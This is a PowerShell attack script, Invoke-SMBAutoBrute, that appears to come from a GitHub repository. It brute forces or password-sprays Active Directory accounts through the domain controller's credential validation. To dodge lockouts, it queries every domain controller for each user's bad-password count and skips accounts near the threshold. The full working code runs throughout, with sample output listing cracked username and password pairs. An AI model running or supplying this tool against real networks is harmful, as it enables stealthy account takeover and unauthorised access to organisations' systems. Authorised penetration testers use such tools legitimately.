Permalink
Find file
125f72e Jul 8, 2016
273 lines (227 sloc) 9.47 KB
function Invoke-SMBAutoBrute
{
<#
.SYNOPSIS
Performs smart brute forcing of accounts against the current domain, ensuring that
lockouts do not occur.
Author: Jason Lang (@curi0usJack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.0
.DESCRIPTION
This script takes either a list of users or, if not specified, will query the domain
for a list of users on every brute attempt. The users queried will have a badPwdCount
attribute of two less than the LockoutThreshold to ensure they are not locked in the brute
attempt, with a new list being queried for every attempt. Designed to simply input the
LockoutThreshold as well as a password list and then run. Note that each DC is queried
for bad password count for each user for each brute, so this script is noisy.
.EXAMPLE
PS C:\> Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
[*] Performing prereq checks.
[*] PDC: LAB-2008-DC1.lab.com
[*] Passwords to test: jennifer, yankees, 123456
[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show...
[+] Success! Username: TestUser6. Password: jennifer
[+] Success! Username: TestUser99. Password: yankees
[*] Completed.
.PARAMETER UserList
A text file of userids (one per line) to brute. Do not append DOMAIN\ in front of the userid.
If this parameter is not specified, the script will retrieve a new list of user accounts for
each attempt to ensure accounts are not locked.
.PARAMETER PasswordList
A comma separated list of passwords to attempt.
.PARAMETER LockoutThreshold
The domain setting that specifies the number of bad login attempts before the account locks.
To discover this, open a command prompt from a domain joined machine and run "net accounts".
.PARAMETER Delay
The delay time (in milliseconds) between each brute attempt. Default 100.
.PARAMETER ShowVerbose
Will display Failed as well as Skipped attempts. Generates a ton of data.
.PARAMETER StopOnSuccess
The script will exit after the first successful authentication.
#>
[CmdletBinding()] Param(
[Parameter(Mandatory = $False)]
[String] $UserList,
[parameter(Mandatory = $True)]
[String] $PasswordList,
[parameter(Mandatory = $True)]
[String] $LockoutThreshold,
[parameter(Mandatory = $False)]
[int] $Delay,
[parameter(Mandatory = $False)]
[Switch] $ShowVerbose,
[parameter(Mandatory = $False)]
[Switch] $StopOnSuccess
)
Begin
{
Set-StrictMode -Version 2
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
Try {Add-Type -AssemblyName System.DirectoryServices}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
function Get-PDCe()
{
$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain","lab.com")
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($context)
return $domain.pdcRoleOwner
}
function Get-UserList($maxbadpwdcount)
{
$users = New-Object System.Collections.ArrayList
$counttouse = $maxbadpwdcount - 2 # We have to use <= in our LDAP query. Use - 2 attempts to ensure the accounts are not locked with this attempt.
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc"
$search = New-Object System.DirectoryServices.DirectorySearcher $de
$search.Filter = "(&(objectclass=user)(badPwdCount<=$counttouse)(!userAccountControl:1.2.840.113556.1.4.803:=2))" #UAC = enabled accounts only
$search.PageSize = 10
$foundusers = $search.FindAll()
if ($foundusers -ne $null)
{
foreach ($u in $foundusers)
{
$users.Add([string]$u.Properties['samaccountname']) | Out-Null
}
}
return $users
}
function Get-DomainControllers
{
$dcs = New-Object System.Collections.ArrayList
$filter = "(&(objectclass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$pdc"
$search = New-Object System.DirectoryServices.DirectorySearcher $de
$search.Filter = $filter
$search.PropertiesToLoad.Add('CN') | Out-Null
$results = $search.FindAll()
foreach ($item in $results)
{
$dcs.Add($item.Properties['cn']) | Out-Null
}
$search = $null
$de.Dispose()
return $dcs
}
function Get-DCBadPwdCount($userid, $dc)
{
$count = -1
$de = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$dc"
$search = New-Object System.DirectoryServices.DirectorySearcher $de
$search.Filter = "(&(objectclass=user)(samaccountname=$userid))"
$search.PropertiestoLoad.Add('badPwdCount') | Out-Null
$user = $search.FindOne()
if ($user -ne $null)
{
$count = $user.Properties['badpwdcount']
}
$search = $null
$de.Dispose()
return $count
}
function Get-UserBadPwdCount($userid, $dcs)
{
# The badPwdCount attribute is not replicated. Attempts should be reported back to the PDC,
# but here get the greatest count from amongst all the DCs to guard against replication errors.
$totalbadcount = -1
foreach ($dc in $dcs)
{
$badcount = Get-DCBadPwdCount $userid $dc
if ($badcount -gt $totalbadcount)
{
$totalbadcount = $badcount
}
}
return $totalbadcount
}
}
Process
{
$validaccounts = @{}
$userstotest = $null
Write-Host "`n[*] Performing prereq checks."
if ([String]::IsNullOrEmpty($UserList) -eq $false)
{
if ([System.IO.File]::Exists($UserList) -eq $false)
{
"[!] $UserList not found. Aborting.`n"
exit
}
else
{
$userstotest = Get-Content $UserList
}
}
$pdc = Get-PDCe
if ($pdc -eq $null)
{
Write-Host "[!] Could not locate domain controller. Aborting."
exit
}
Write-Host "[*] PDC: $pdc"
Write-Host "[*] Passwords to test: $PasswordList"
$dcs = Get-DomainControllers
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $pdc)
$pwds = New-Object System.Collections.ArrayList
foreach ($pwd in $PasswordList.Split(','))
{
$pwds.Add($pwd.Trim(' ')) | Out-Null
}
Write-Host "[*] Initiating brute. Unless -ShowVerbose was specified, only successes will show..."
foreach ($p in $pwds)
{
if ($userstotest -eq $null)
{
$userstotest = Get-UserList $LockoutThreshold
}
foreach ($u in $userstotest)
{
$userid = $u.Trim(' ').Trim([Environment]::Newline)
if ($validaccounts.ContainsKey($userid) -eq $false)
{
$attempts = Get-UserBadPwdCount $userid $dcs
#Be sure to use 2 less than the LockoutThresold so the account will not be locked out as a result of the next test.
if ($attempts -ne -1 -and $attempts -le ($LockoutThreshold - 2))
{
$IsValid = $false
$IsValid = $PrincipalContext.ValidateCredentials($userid, $p).ToString()
if ($IsValid -eq $True)
{
Write-Host "[+] Success! Username: $userid. Password: $p"
$validaccounts.Add($userid, $p)
if ($StopOnSuccess.IsPresent)
{
Write-Host "[*] StopOnSuccess. Exiting.`n"
exit
}
}
else
{
if ($ShowVerbose.IsPresent)
{
Write-Host "[-] Failed. Username: $userid. Password: $p. BadPwdCount: $($attempts + 1)"
}
}
if ($Delay)
{
Start-Sleep -m $Delay
}
else
{
Start-Sleep -m 100
}
}
else
{
if ($ShowVerbose.IsPresent)
{
Write-Host "[-] Skipped. Username: $userid. Password: $p. BadPwdCount: $attempts"
}
}
}
}
}
Write-Host "[*] Completed.`n"
}
}